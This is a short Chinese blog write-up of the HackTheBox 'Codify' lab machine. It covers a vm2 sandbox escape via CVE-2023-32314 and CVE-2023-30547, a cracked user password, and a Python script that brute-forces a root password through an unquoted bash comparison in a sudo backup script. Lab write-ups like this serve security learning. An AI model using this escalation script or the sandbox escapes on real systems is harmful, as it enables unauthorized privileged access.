hackthebox-Codify

开放22,80,3000端口

 再进行一个详细的扫描

 打开web页面需要再hosts文件里加codify.htb

2个端口都是同一个web

可以调试js代码

 可以反弹js反向shell

 但做了限制

 他是运行在vm2的沙盒上

 找一下有没有可以利用的漏洞

 cve-2023-32314

 刚好有个poc拿来用一下

 这个好想不太行,只能再找个

 cve-2023-30547

 用一下这个

PoC - https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

 IP

 那些用户文件都进不去

在/var/www/contact下发现joshua哈希

 获得joshua密码 spongebob1

 可以尝试登入ssh

 userflag

 提权

 我们对要求输入 root 密码的 MYSQL bash 脚本具有 sudo 权限。

 不加引号的bash变量

https://github.com/anordal/shellharden/blob/master/how_to_do_things_safely_in_bash.md?source=post_page-----933488bfbfff--------------------------------

 如果 == 的右侧没有引用,那么 bash 会对它进行模式匹配,而不是将其视为字符串。

大佬脚本

import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True

 

posted @ 2023-11-07 20:37  jtmqd  阅读(451)  评论(0)    收藏  举报